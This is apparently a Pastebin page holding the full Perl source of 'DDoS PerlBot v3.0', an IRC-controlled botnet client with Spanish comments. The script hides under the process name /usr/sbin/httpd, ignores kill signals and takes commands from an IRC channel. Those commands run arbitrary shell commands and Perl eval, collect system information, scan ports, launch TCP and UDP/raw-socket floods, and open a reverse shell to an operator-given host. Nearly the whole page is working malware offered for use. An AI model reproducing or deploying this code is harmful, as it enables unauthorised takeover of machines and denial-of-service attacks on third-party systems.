cybercode

DDoS - Perl #3 BOT

Feb 20th, 2012
718
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 20.25 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #!cmd @help
  3. ###############################
  4. # Si No sabes lo que editas
  5. # Mejor deja todo en su lugar
  6. # Procura editar solo los Sig:
  7. # my @adms=("TUNICK");
  8. # my @canal=("#TUCANAL"); #No hay necesidad de explicar esto
  9. # my @SuperFlood = ("NickdelBot|"); #Esto Tampoco
  10. # my $ircname ='apple; # Ident del Bot
  11. # $servidor='IP ó DNS.' unless $servidor; #la IP o Nombre del Server
  12. ########################################################################
  13. print q{
  14. ########################################################
  15. #DDoS PerlBot, v.3.0 mod by kzt UnitedHack.com.ar - #UnitedHack
  16. ########################################################
  17. ########### Comments? [email protected] #################
  18. ########################################################
  19. };
  20.  
  21. use HTTP::Request;
  22. use LWP::UserAgent;
  23. my $proceso = '/usr/sbin/httpd';
  24.  
  25. my $linas_max='3';
  26. my $sleep='5';
  27. my @cmdstring='http://localhost?';
  28. my @adms=("Tu Nick");
  29. my @canal=("#Tucanal");
  30. my @nickname = ("Nick Prefijo del Bot (Ejemplo Worm)");
  31. my $nick = $nickname[rand scalar @nickname];
  32. my $ircname ='IDENTD;
  33. chop (my $realname = `uname -a`);
  34. $servidor='TU DNS o IP' unless $servidor;
  35. my $puerto='6667';
  36. my $VERSION = '4,1:7,1: 0,1 DDoS PerlBot, v.3.0 Mod by kzt7,1:4,1:';
  37. $SIG{'INT'} = 'IGNORE';
  38. $SIG{'HUP'} = 'IGNORE';
  39. $SIG{'TERM'} = 'IGNORE';
  40. $SIG{'CHLD'} = 'IGNORE';
  41. $SIG{'PS'} = 'IGNORE';
  42.  
  43. use IO::Socket;
  44. use Socket;
  45. use IO::Select;
  46. chdir("/");
  47.  
  48. $servidor="$ARGV[0]" if $ARGV[0];
  49. $0="$proceso"."\0"x16;;
  50. my $pid=fork;
  51. exit if $pid;
  52. die "Imposible Conectar: $!" unless defined($pid);
  53.  
  54. our %irc_servers;
  55. our %DCC;
  56. my $dcc_sel = new IO::Select->new();
  57. $sel_cliente = IO::Select->new();
  58. sub sendraw {
  59.  if ($#_ == '1') {
  60.    my $socket = $_[0];
  61.    print $socket "$_[1]\n";
  62.    } else {
  63.    print $IRC_cur_socket "$_[0]\n";
  64.  }
  65. }
  66.  
  67. sub conectar {
  68.  my $minick = $_[0];
  69.  my $servidor_con = $_[1];
  70.  my $puerto_con = $_[2];
  71.  my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  72.  PeerPort=>$puerto_con) or return(1);
  73.  if (defined($IRC_socket)) {
  74.    $IRC_cur_socket = $IRC_socket;
  75.    $IRC_socket->autoflush(1);
  76.    $sel_cliente->add($IRC_socket);
  77.    $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  78.    $irc_servers{$IRC_cur_socket}{'puerto'} = "$puerto_con";
  79.    $irc_servers{$IRC_cur_socket}{'nick'} = $minick;
  80.    $irc_servers{$IRC_cur_socket}{'miip'} = $IRC_socket->sockhost;
  81.    nick("$minick");
  82.    sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  83.    sleep 1;
  84.  }
  85. }
  86.  
  87. my $line_temp;
  88. while( 1 ) {
  89.  while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$puerto"); }
  90.  delete($irc_servers{''}) if (defined($irc_servers{''}));
  91.  my @ready = $sel_cliente->can_read(0);
  92.  next unless(@ready);
  93.  foreach $fh (@ready) {
  94.    $IRC_cur_socket = $fh;
  95.    $minick = $irc_servers{$IRC_cur_socket}{'nick'};
  96.    $nread = sysread($fh, $msg, 4096);
  97.    if ($nread == 0) {
  98.      $sel_cliente->remove($fh);
  99.      $fh->close;
  100.      delete($irc_servers{$fh});
  101.    }
  102.    @lines = split (/\n/, $msg);
  103.    for(my $c=0; $c<= $#lines; $c++) {
  104.  
  105.      $line = $lines[$c];
  106.      $line=$line_temp.$line if ($line_temp);
  107.      $line_temp='';
  108.      $line =~ s/\r$//;
  109.      unless ($c == $#lines) {
  110.        parse("$line");
  111.        } else {
  112.        if ($#lines == 0) {
  113.          parse("$line");
  114.          } elsif ($lines[$c] =~ /\r$/) {
  115.          parse("$line");
  116.          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  117.          parse("$line");
  118.                 } else {
  119.                             $line_temp = $line;
  120.        }
  121.      }
  122.    }
  123.  }
  124. }
  125.  
  126. sub parse {
  127.  my $servarg = shift;
  128.  if ($servarg =~ /^PING \:(.*)/) {
  129.    sendraw("PONG :$1");
  130.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  131.    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  132.    if ($args =~ /^\001VERSION\001$/) {
  133.           notice("$pn", "\001VERSION mIRC v6.17 HaCk.OrG\001");
  134.           notice("$pn", "\001VERSION $VERSION \001");
  135.           notice("@adms", "\001VERSION $pn Me hizo un ctcp version\001");
  136.     }
  137.    if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  138.    if ($onde eq "$minick"){
  139.    shell("$pn", "$args");
  140.  }
  141.  
  142. #End of Connect
  143.  
  144.  
  145. ######################
  146. #      PREFIX        #
  147.  if ($args =~ /^(\Q$minick\E|\!cmd)\s+(.*)/ ) {
  148.    my $natrix = $1;
  149.    my $arg = $2;
  150.    if ($arg =~ /^\!(.*)/) {
  151.      ircase("$pn","$onde","$1") unless ($natrix eq "!cmd" and $arg =~ /^\!nick/);
  152.      } elsif ($arg =~ /^\@(.*)/) {
  153.      $ondep = $onde;
  154.      $ondep = $pn if $onde eq $minick;
  155.      bfunc("$ondep","$1");
  156.      } else {
  157.      shell("$onde", "$arg");
  158.    }
  159.  }
  160. }
  161. }
  162. ######################
  163. #   End of PREFIX    #
  164. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  165. if (lc($1) eq lc($minick)) {
  166.  $minick=$4;
  167.  $irc_servers{$IRC_cur_socket}{'nick'} = $minick;
  168. }
  169. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  170. nick("$minick|".int rand(999999));
  171. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  172. $minick = $2;
  173. $irc_servers{$IRC_cur_socket}{'nick'} = $minick;
  174. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  175. foreach my $canal (@canal) {
  176.  sendraw("JOIN $canal");
  177. }
  178. }
  179. }
  180.  
  181. sub bfunc {
  182. my $printl = $_[0];
  183. my $funcarg = $_[1];
  184. if (my $pid = fork) {
  185. waitpid($pid, 0);
  186. } else {
  187. if (fork) {
  188.  exit;
  189. } else {
  190.  
  191. ######################
  192. #       Help         #
  193.  
  194. if ($funcarg =~ /^help/) {
  195.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,111,1 DDoS Perl Bot 4,1 Help");
  196.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1ddos");
  197.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1backconnect");
  198.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1shell");
  199.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1portscanner");
  200.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1Oh si deseas ver todos los comandos:");
  201.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1commands");
  202.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,111,1 DDoS Perl Bot 4,1 Help");
  203.  
  204. }
  205.  
  206. if ($funcarg =~ /^ddos/) {
  207.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1Existen 2 tipos de DDoS en este Bot");
  208.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1UDPFlood y TCPFlood");
  209.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1udpflood <ip> <Tamano de paquete> <tiempo>");
  210.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1tcpflood <ip> <puerto> <Tamano de Paquetes> <tiempo>");
  211.  
  212. }
  213.  
  214.  
  215. if ($funcarg =~ /^backconnect/) {
  216.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1Uso de Back Connect:");
  217.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1back <ip><port>");
  218.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,111,1 DDoS Perl Bot 4,1Help");
  219. }
  220.  
  221. if ($funcarg =~ /^shell/) {
  222.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1Este Bot tiene integrada Shell");
  223.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1Puedes usarla en privado y tambien en el canal");
  224.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1En canal publico estos son los comandos: 7!cmd cd tmp0,1for example");
  225.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,111,1 DDoS Perl Bot 4,1Help");
  226.  
  227. }
  228.  
  229. if ($funcarg =~ /^portscanner/) {
  230.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1El Port Scanner es facil de usar, estos son los comandos:");
  231.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1portscan <ip>");
  232.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,111,1 DDoS Perl Bot 4,1Help");
  233. }
  234.  
  235. if ($funcarg =~ /^commands/) {
  236.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1portscan <ip>");
  237.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1back <ip><port>");
  238.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd cd tmp 0,1por ejemplo");
  239.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1udpflood <ip> <tamano de paquete> <tiempo>");
  240.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1tcpflood <ip> <puerto> <tamano de paquete> <tiempo>");
  241.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1system");
  242.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1join #canal");
  243.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1part #canal");
  244.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1nick <nuevo nick>");
  245.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1msg <MSG> ");
  246.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Help7,1:.4,1| 0,1!cmd 4,1@4,1mod #canal <modo> <nick> \\ 4,1@4,1xmod <modo> 0,1(Esto pone modo seleccionado, en el Bot)");
  247. }
  248.  
  249.  
  250. #   End of  Help     #
  251. ######################
  252.  
  253. ######################
  254. #     Commands       #
  255. if ($funcarg =~ /^system/) {
  256. $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
  257.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Info del BOT : 4,1 Servidor : $servidor : 6667");
  258.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Uname -a     : 4,1 $uname");
  259.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Uptime       : 4,1 $uptime");
  260.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Mi Proceso   : 4,1 $proceso");
  261.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1ID           : 4,1 $id");
  262.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1pwd          : 4,1 $ownd");
  263.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1OS           : 4,1 $distro");
  264.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Coder        : 4,1 #Hack ®");
  265.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1System Info7,1:.4,1| 7,1Channel      : 4,1 #Hack :)");
  266. }
  267. }
  268. ######################
  269. #      Portscan      #
  270.  
  271. if ($funcarg =~ /^portscan (.*)/) {
  272.  my $hostip="$1";
  273.  my
  274.  @puertos=("21","22","23","25","80","110","139","135","79","8080","31337","6667","6668","6669","2222","12345","3128","10000");
  275.  my (@abierto, %puerto_banner);
  276.  sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Port Scan7,1:.4,1|0,1Escaneando puertos abiertos en 4,1 ".$1." 0,1Iniciado.");
  277.  foreach my $puerto (@puertos)  {
  278.    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $puerto, Proto =>
  279.    'tcp', Timeout => 4);
  280.    if ($scansock) {
  281.      push (@abierto, $puerto);
  282.      $scansock->close;
  283.    }
  284.  }
  285.  
  286.  if (@abierto) {
  287.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Port Scan7,1:.4,1|0,1Puertos abiertos en $1 : @abierto");
  288.    } else {
  289.    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1Port Scan7,1:.4,1|0,1No hay puertos abiertos en $1 .");
  290.  }
  291. }
  292.  
  293. #  End of  Portscan  #
  294. ######################
  295. ######################
  296. #  Join, Part, Msg,  #
  297. #   nick and modes.  #
  298.           if ($funcarg =~ /^join (.*)/) {
  299.              sendraw($IRC_cur_socket, "JOIN ".$1);
  300.           }
  301.           if ($funcarg =~ /^part (.*)/) {
  302.              sendraw($IRC_cur_socket, "PART ".$1);
  303.           }
  304.           if ($funcarg =~ /^mod (.*)/) {
  305.              sendraw($IRC_cur_socket, "MODE ".$1." ".$2." ".$3);
  306.           }
  307.           if ($funcarg =~ /^xmod (.*)/) {
  308.              sendraw($IRC_cur_socket, "MODE $minick $1");
  309.           }
  310.           if ($funcarg =~ /^nick (.*)/) {
  311.              sendraw($IRC_cur_socket, "NICK ".$1);
  312.           }
  313.           if ($funcarg =~ /^msg\s+(\S+) (.*)/) {
  314.              sendraw($IRC_cur_socket, "PRIVMSG $1 :$2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16");
  315.           }
  316.  
  317. #End of Join And Part#
  318. ######################
  319. ######################
  320. #     TCPFlood       #
  321. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  322.  sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1TCP DDos7,1:.4,1|0,1Atacando 4,1 ".$1.":".$2." 7,1por 4,1 ".$3." 7,1segundos.");
  323.  my $itime = time;
  324.  my ($cur_time);
  325.  $cur_time = time - $itime;
  326.  while ($3>$cur_time){
  327.  $cur_time = time - $itime;
  328.  &tcpflooder("$1","$2","$3");
  329. }
  330. sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1|7,1.:4,1TCP DDos7,1:.4,1| 7,1Ataque completado 4,1 ".$1.":".$2.".");
  331. }
  332. #  End of TCPFlood   #
  333. ######################
  334. ######################
  335. #   Back Connect     #
  336. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  337. my $host = "$1";
  338. my $puerto = "$2";
  339. my $proto = getprotobyname('tcp');
  340. my $iaddr = inet_aton($host);
  341. my $paddr = sockaddr_in($puerto, $iaddr);
  342. my $shell = "/bin/sh -i";
  343. if ($^O eq "MSWin32") {
  344.  $shell = "cmd.exe";
  345. }
  346. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  347. connect(SOCKET, $paddr) or die "connect: $!";
  348. open(STDIN, ">&SOCKET");
  349. open(STDOUT, ">&SOCKET");
  350. open(STDERR, ">&SOCKET");
  351. system("$shell");
  352. close(STDIN);
  353. close(STDOUT);
  354. close(STDERR);
  355. if ($estatisticas)
  356. {
  357.  sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1BackConnect7,1:.4,1|0,1Conectandose a 4,1 $host:$puerto");
  358. }
  359. }
  360. #End of  Back Connect#
  361. ######################
  362. ######################
  363. #     UDPFlood       #
  364. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  365. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1UDP DDos7,1:.4,1|0,1Atacando 4,1 ".$1." 0,1con 4,1 ".$2." 0,1Kb Paquetes for 4,1 ".$3." 0,1segundos.");
  366. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  367. $dtime = 1 if $dtime == 0;
  368. my %bytes;
  369. $bytes{igmp} = $2 * $pacotes{igmp};
  370. $bytes{icmp} = $2 * $pacotes{icmp};
  371. $bytes{o} = $2 * $pacotes{o};
  372. $bytes{udp} = $2 * $pacotes{udp};
  373. $bytes{tcp} = $2 * $pacotes{tcp};
  374. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1|7,1.:4,1UDP DDos7,1:.4,1|0,17,1Resultados4,1 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 7,1Kb en4,1 ".$dtime." 7,1segundos a4,1 ".$1.".");
  375. }
  376. exit;
  377. }
  378. }
  379. #  End of Udpflood   #
  380. ######################
  381.  
  382.  
  383. sub ircase {
  384. my ($kem, $printl, $case) = @_;
  385.  if ($case =~ /^join (.*)/) {
  386.     j("$1");
  387.   }
  388.   if ($case =~ /^part (.*)/) {
  389.      p("$1");
  390.   }
  391. if ($case =~ /^rejoin\s+(.*)/) {
  392. my $chan = $1;
  393. if ($chan =~ /^(\d+) (.*)/) {
  394. for (my $ca = 1; $ca <= $1; $ca++ ) {
  395. p("$2");
  396. j("$2");
  397. }
  398. }
  399. else {
  400. p("$chan");
  401. j("$chan");
  402. }
  403. }
  404.  
  405. if ($case =~ /^op/) {
  406. op("$printl", "$kem") if $case eq "op";
  407. my $oarg = substr($case, 3);
  408. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  409. }
  410.  
  411. if ($case =~ /^deop/) {
  412. deop("$printl", "$kem") if $case eq "deop";
  413. my $oarg = substr($case, 5);
  414. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  415. }
  416.  
  417. if ($case =~ /^msg\s+(\S+) (.*)/) {
  418. msg("$1", "$2");
  419. }
  420.  
  421. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  422. for (my $cf = 1; $cf <= $1; $cf++) {
  423. msg("$2", "$3");
  424. }
  425. }
  426.  
  427. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  428. ctcp("$1", "$2");
  429. }
  430.  
  431. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  432. for (my $cf = 1; $cf <= $1; $cf++) {
  433. ctcp("$2", "$3");
  434. }
  435. }
  436.  
  437. if ($case =~ /^nick (.*)/) {
  438. nick("$1");
  439. }
  440.  
  441. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  442. conectar("$2", "$1", 6667);
  443. }
  444.  
  445. if ($case =~ /^raw (.*)/) {
  446. sendraw("$1");
  447. }
  448.  
  449. if ($case =~ /^eval (.*)/) {
  450. eval "$1";
  451. }
  452. }
  453.  
  454.  
  455. sub shell {
  456. my $printl=$_[0];
  457. my $comando=$_[1];
  458. if ($comando =~ /cd (.*)/) {
  459. chdir("$1") || msg("$printl", "No existe el fichero o directorio.");
  460. return;
  461. }
  462.  
  463. elsif ($pid = fork) {
  464. waitpid($pid, 0);
  465. }
  466. else {
  467. if (fork) {
  468. exit;
  469.  
  470. } else {
  471. my @resp=`$comando 2>&1 3>&1`;
  472. my $c=0;
  473. foreach my $linha (@resp) {
  474.  $c++;
  475.  chop $linha;
  476.  sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  477.  if ($c == "$linas_max") {
  478.    $c=0;
  479.    sleep $sleep;
  480.  }
  481. }
  482. exit;
  483. }
  484. }
  485. }
  486.  
  487. sub tcpflooder {
  488. my $itime = time;
  489. my ($cur_time);
  490. my ($ia,$pa,$proto,$j,$l,$t);
  491. $ia=inet_aton($_[0]);
  492. $pa=sockaddr_in($_[1],$ia);
  493. $ftime=$_[2];
  494. $proto=getprotobyname('tcp');
  495. $j=0;$l=0;
  496. $cur_time = time - $itime;
  497. while ($l<1000){
  498. $cur_time = time - $itime;
  499. last if $cur_time >= $ftime;
  500. $t="SOCK$l";
  501. socket($t,PF_INET,SOCK_STREAM,$proto);
  502. connect($t,$pa)||$j--;
  503. $j++;$l++;
  504. }
  505. $l=0;
  506. while ($l<1000){
  507. $cur_time = time - $itime;
  508. last if $cur_time >= $ftime;
  509. $t="SOCK$l";
  510. shutdown($t,2);
  511. $l++;
  512. }
  513. }
  514.  
  515.  
  516.  
  517. sub udpflooder {
  518. my $iaddr = inet_aton($_[0]);
  519. my $msg = 'A' x $_[1];
  520. my $ftime = $_[2];
  521. my $cp = 0;
  522. my (%pacotes);
  523. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  524. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  525. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  526. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  527. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  528. return(undef) if $cp == 4;
  529. my $itime = time;
  530. my ($cur_time);
  531. while ( 1 ) {
  532. for (my $puerto = 1;
  533. $puerto <= 65000; $puerto++) {
  534. $cur_time = time - $itime;
  535. last if $cur_time >= $ftime;
  536. send(SOCK1, $msg, 0, sockaddr_in($puerto, $iaddr)) and $pacotes{igmp}++;
  537. send(SOCK2, $msg, 0, sockaddr_in($puerto, $iaddr)) and $pacotes{udp}++;
  538. send(SOCK3, $msg, 0, sockaddr_in($puerto, $iaddr)) and $pacotes{icmp}++;
  539. send(SOCK4, $msg, 0, sockaddr_in($puerto, $iaddr)) and $pacotes{tcp}++;
  540.  
  541.  
  542. for (my $pc = 3;
  543. $pc <= 255;$pc++) {
  544. next if $pc == 6;
  545. $cur_time = time - $itime;
  546. last if $cur_time >= $ftime;
  547. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  548. send(SOCK5, $msg, 0, sockaddr_in($puerto, $iaddr)) and $pacotes{o}++;
  549. }
  550. }
  551. last if $cur_time >= $ftime;
  552. }
  553. return($cur_time, %pacotes);
  554. }
  555.  
  556. sub ctcp {
  557. return unless $#_ == 1;
  558. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  559. }
  560.  
  561. sub msg {
  562. return unless $#_ == 1;
  563. sendraw("PRIVMSG $_[0] :$_[1]");
  564. }
  565.  
  566. sub notice {
  567. return unless $#_ == 1;
  568. sendraw("NOTICE $_[0] :$_[1]");
  569. }
  570.  
  571. sub op {
  572. return unless $#_ == 1;
  573. sendraw("MODE $_[0] +o $_[1]");
  574. }
  575.  
  576. sub deop {
  577. return unless $#_ == 1;
  578. sendraw("MODE $_[0] -o $_[1]");
  579. }
  580.  
  581. sub j {
  582. &join(@_);
  583. }
  584.  
  585. sub join {
  586. return unless $#_ == 0;
  587. sendraw("JOIN $_[0]");
  588.  
  589. }
  590. sub p { part(@_);
  591. }
  592.  
  593. sub part {
  594. sendraw("PART $_[0]");
  595. }
  596.  
  597. sub nick {
  598. return unless $#_ == 0;
  599. sendraw("NICK $_[0]");
  600. }
  601.  
  602. sub quit {
  603. sendraw("QUIT :$_[0]");
  604. }
  605.  
  606. sub fetch(){
  607. my $rnd=(int(rand(9999)));
  608. my $n= 80;
  609. if ($rnd<5000) { $n<<=1;}
  610. my $s= (int(rand(10)) * $n);
  611. }
  612.  
  613. sub os(){
  614. my $sito=$_[0];
  615. my $Res=query($sito);
  616. my $type;
  617. my $free;
  618. my $str;
  619. while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){
  620. $type=$1;
  621. }
  622. while($Res=~m/<br>Free:(.+?)\<br>/g){
  623. $free=$1;
  624. }
  625. $str=$type.",".$free;
  626. return $str;
  627. }
  628.  
  629.  
  630. sub geths(){
  631. my $host=$_[0];
  632. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  633. return $host;
  634. }
  635.  
  636. sub key(){
  637. my $chiave=$_[0];
  638. $chiave =~ s/ /\+/g;
  639. $chiave =~ s/:/\%3A/g;
  640. $chiave =~ s/\//\%2F/g;
  641. $chiave =~ s/&/\%26/g;
  642. $chiave =~ s/\"/\%22/g;
  643. $chiave =~ s/,/\%2C/g;
  644. $chiave =~ s/\\/\%5C/g;
  645. return $chiave;
  646. }
  647.  
  648. sub query($){
  649. my $url=$_[0];
  650. $url=~s/http:\/\///;
  651. my $host=$url;
  652. my $query=$url;
  653. my $page="";
  654. $host=~s/href=\"?http:\/\///;
  655. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  656. $query=~s/$host//;
  657. if ($query eq "") {$query="/";};
  658. eval {
  659. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  660. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  661. my @r = <$sock>;
  662. $page="@r";
  663. close($sock);
  664. };
  665. return $page;
  666. }
  667.  
  668. sub unici{
  669. my @unici = ();
  670. my %visti = ();
  671. foreach my $elemento ( @_ )
  672. {
  673. next if $visti{ $elemento }++;
  674. push @unici, $elemento;
  675. }
  676. return @unici;
  677. }
  678.  
  679. sub http_query($){
  680. my ($url) = @_;
  681. my $host=$url;
  682. my $query=$url;
  683. my $page="";
  684. $host =~ s/href=\"?http:\/\///;
  685. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  686. $query =~s/$host//;
  687. if ($query eq "") {$query="/";};
  688. eval {
  689. local $SIG{ALRM} = sub { die "1";};
  690. alarm 10;
  691. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  692. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  693. my @r = <$sock>;
  694. $page="@r";
  695. alarm 0;
  696. close($sock);
  697. };
  698. return $page;
  699. }
Advertisement
Add Comment
Please, Sign In to add comment